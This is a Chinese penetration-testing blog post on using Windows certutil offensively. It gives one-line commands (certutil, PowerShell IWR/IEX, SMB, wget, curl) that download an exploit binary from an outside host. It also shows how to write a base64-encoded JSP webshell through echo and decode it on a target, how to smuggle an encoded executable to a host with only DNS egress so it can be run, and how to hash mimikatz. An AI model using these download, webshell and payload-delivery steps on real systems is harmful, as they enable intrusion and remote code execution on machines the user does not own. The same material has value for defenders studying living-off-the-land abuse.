【安全记录】certutil实战使用总结

admin 2022年3月18日01:17:32评论274 views字数 2257阅读7分31秒阅读模式

前言在cmd下使用certutil下载远程文件通过certutil以base64编码方式写入webshell文件通过certutil对二进制文件进行base64编码通过certutil计算文件hashcertutil配合powershell内存加载参考链接

前言

在先知看到一篇关于certutil命令的文章(关于certutil的探究),讲得很详细、很全面。特此记录下本人在渗透时使用certutil的一些方法。

在cmd下使用certutil下载远程文件

命令:

certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe

各参数介绍:

  • -urlcache 显示或删除URL缓存条目;无值的命令行选项。

  • -split 保存到文件;无值的命令行选项。存在该选项的命令,就会将文件下载到当前路径,如果没有该选项,就下载到默认路径(本地尝试后,下载的默认路径为C:Users用户名)。

  • -f 有值的命令行选项。后面跟要下载的文件 url。

附各条件下的命令行下载文件命令:

PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"

PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"

CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe

CMD - SMB:
copy \192.168.1.1filesms10-051.exe exploit.exe

Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe

Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe

通过certutil以base64编码方式写入webshell文件

场景:命令执行情况下,写入webshell的文本文件。

webshell内容中含有较多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符会影响该命令的执行,而base64编码后的文本可以直接写入文本,无特殊字符影响。

  1. 文本内容:<%@page import="java.util.*,

  2. base64编码后为:PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA==

  3. 写入文件:echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:tmpshell.txt

  4. 解码成webshell文件:certutil -f -decode "C:tmpshell.txt" "C:tmpshell.jsp"

通过certutil对二进制文件进行base64编码

certutil可以将二进制文件(exe文件等)编码成txt文件

certutil -encode 1615808966890.exe 1615808966890.txt

【安全记录】certutil实战使用总结

txt文件内容如下,纯文本文件:

【安全记录】certutil实战使用总结

将txt文件解码为二进制文件:

certutil -decode 1615808966890.txt 66666.exe

【安全记录】certutil实战使用总结

那这适用于什么场景?

假如存在一个命令执行的条件,写入webshell文件存在问题,目标只有dns出网而无法下载远程文件。那么此时我们就可以将base64编码的文本文件写入目标,再解码成二进制文件执行上线。

适用echo写文件时,会在每行末尾追加一个空格,但是我之前的一次经历,发现文件可以正常decode。

cmd /c echo a >> D:2.txt
cmd /c echo ab >> D:2.txt
cmd /c echo abc >> D:2.txt

【安全记录】certutil实战使用总结

这篇文章讲解使用powershell的方式追加写入文件,也是一种好的方法。

powershell -c "'a' | Out-File D:1.txt -Append"
powershell -c "'ab' | Out-File D:1.txt -Append"
powershell -c "'abc' | Out-File D:1.txt -Append"

将完整的txt文件一行一行写入文件,可以写个脚本,或者使用burp。

通过certutil计算文件hash

certutil -hashfile mimikatz.exe MD5 //检验MD5

certutil -hashfile mimikatz.exe SHA1 //检验SHA1

certutil -hashfile mimikatz.exe SHA256 //检验SHA256

certutil配合powershell内存加载

没有尝试过,这里mark下这种姿势。总体就是通过certutil解码文件进行powershell上线。

来源为第一篇参考文章的内容。

参考链接

https://xz.aliyun.com/t/9737

https://xz.aliyun.com/t/8345


原文始发于微信公众号(信安文摘):【安全记录】certutil实战使用总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日01:17:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【安全记录】certutil实战使用总结http://cn-sec.com/archives/831250.html

发表评论

匿名网友 填写信息